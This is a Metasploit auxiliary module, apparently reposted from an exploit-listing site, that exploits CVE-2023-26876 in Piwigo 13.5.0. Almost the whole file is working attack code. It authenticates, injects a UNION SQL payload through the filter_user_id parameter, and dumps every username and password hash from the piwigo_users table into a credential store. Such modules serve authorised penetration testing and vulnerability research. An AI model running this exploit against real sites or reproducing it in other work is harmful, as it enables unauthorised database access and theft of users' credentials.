Share
## https://sploitus.com/exploit?id=PACKETSTORM:180663
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::SQLi  
prepend Msf::Exploit::Remote::AutoCheck  
require 'metasploit/framework/hashes'  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Piwigo CVE-2023-26876 Gather Credentials via SQL Injection ',  
'Description' => %q{  
This module allows an authenticated user to retrieve the usernames and encrypted passwords of other users in Piwigo through SQL injection using the (filter_user_id) parameter.  
},  
'Author' => [  
'rodnt', # metasploit module  
'Rodolfo Tavares', # vulnerability discovery  
'Tempest Security, Henrique Arcoverde' # special thanks  
],  
'License' => MSF_LICENSE,  
'References' => [  
[ 'CVE', '2023-26876' ],  
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-26876'],  
],  
'DisclosureDate' => '2023-04-21',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [IOC_IN_LOGS],  
'Reliability' => []  
}  
)  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, 'The base path to Piwigo', '/' ]),  
OptString.new('USERNAME', [ true, 'The username for authenticating to Piwigo', 'piwigo' ]),  
OptString.new('PASSWORD', [ true, 'The password for authenticating to Piwigo', 'piwigo' ])  
]  
)  
end  
  
def check  
login_page = target_uri.path.end_with?('index.php') ? normalize_uri(target_uri.path) : normalize_uri(target_uri.path, '/index.php')  
  
res = send_request_cgi(  
'method' => 'GET',  
'keep_cookies' => true,  
'uri' => login_page  
)  
  
if res && res.code == 200 && res.body.match(%r{themes/default/js/jquery.min.js\?v13.5.0})  
return Exploit::CheckCode::Appears('The target is running Piwigo with version 13.5.0')  
else  
return Exploit::CheckCode::Safe('The target does not appear to be running Piwigo with vulnerable version')  
end  
rescue ::Rex::ConnectionError  
return Exploit::CheckCode::Unknown("#{peer} - Connection failed")  
end  
  
def login  
login_uri = target_uri.path.end_with?('identification.php') ? normalize_uri(target_uri.path) : normalize_uri(target_uri.path, '/identification.php')  
print_status('Try to log in..')  
  
login_res = send_request_cgi(  
'method' => 'POST',  
'uri' => login_uri,  
'keep_cookies' => true,  
'vars_post' => {  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD'],  
'login' => 'Login'  
}  
)  
  
if login_res.code != 302 || login_res.body.include?('Invalid username or password!')  
fail_with(Failure::NoAccess, "Couldn't log into Piwigo")  
end  
  
print_good('Successfully logged into Piwigo')  
end  
  
def test_vulnerable(response)  
body_response = response.body.to_s  
if body_response.include?('var filter_user_name = "pwn3d";')  
print_good('Target is vulnerable')  
return true  
else  
print_error('Target is NOT vulnerable')  
return false  
end  
end  
  
def dump_data(sqli)  
creds_table = Rex::Text::Table.new(  
'Header' => 'Piwigo Users',  
'Indent' => 1,  
'Columns' => ['username', 'hash']  
)  
results = sqli.run_sql('select group_concat(cast(concat_ws(0x3b,ifnull(username,repeat(0x31,0)),ifnull(password,repeat(0xd,0))) as binary)) from piwigo_users')  
  
body_results = results.body.to_s  
match = body_results.match(/var filter_user_name = "(.*?)";/)  
if match  
data = match[1]  
data.split(',').each do |user_and_pw|  
user, hash = user_and_pw.split(';', 2)  
  
creds_table << [user, hash]  
create_credential({  
workspace_id: myworkspace_id,  
origin_type: :service,  
module_fullname: fullname,  
username: user,  
private_type: :nonreplayable_hash,  
jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),  
private_data: user,  
service_name: 'piwigo',  
address: datastore['RHOST'],  
port: datastore['RPORT'],  
protocol: 'tcp',  
status: Metasploit::Model::Login::Status::UNTRIED  
})  
end  
rows_data = creds_table.rows.length  
if rows_data > 1  
print_status("Dump of usernames and hashes:\n")  
print_line creds_table.to_s  
end  
end  
end  
  
def get_info  
sqli = create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |payload|  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'admin.php'),  
'vars_get' => {  
'page' => 'history',  
'filter_image_id' => '1',  
'filter_user_id' => "123123123 union all #{payload}"  
}  
})  
end  
  
if test_vulnerable(sqli.run_sql('select 0x70776e3364'))  
dump_data(sqli)  
end  
end  
  
def run  
login  
get_info  
end  
end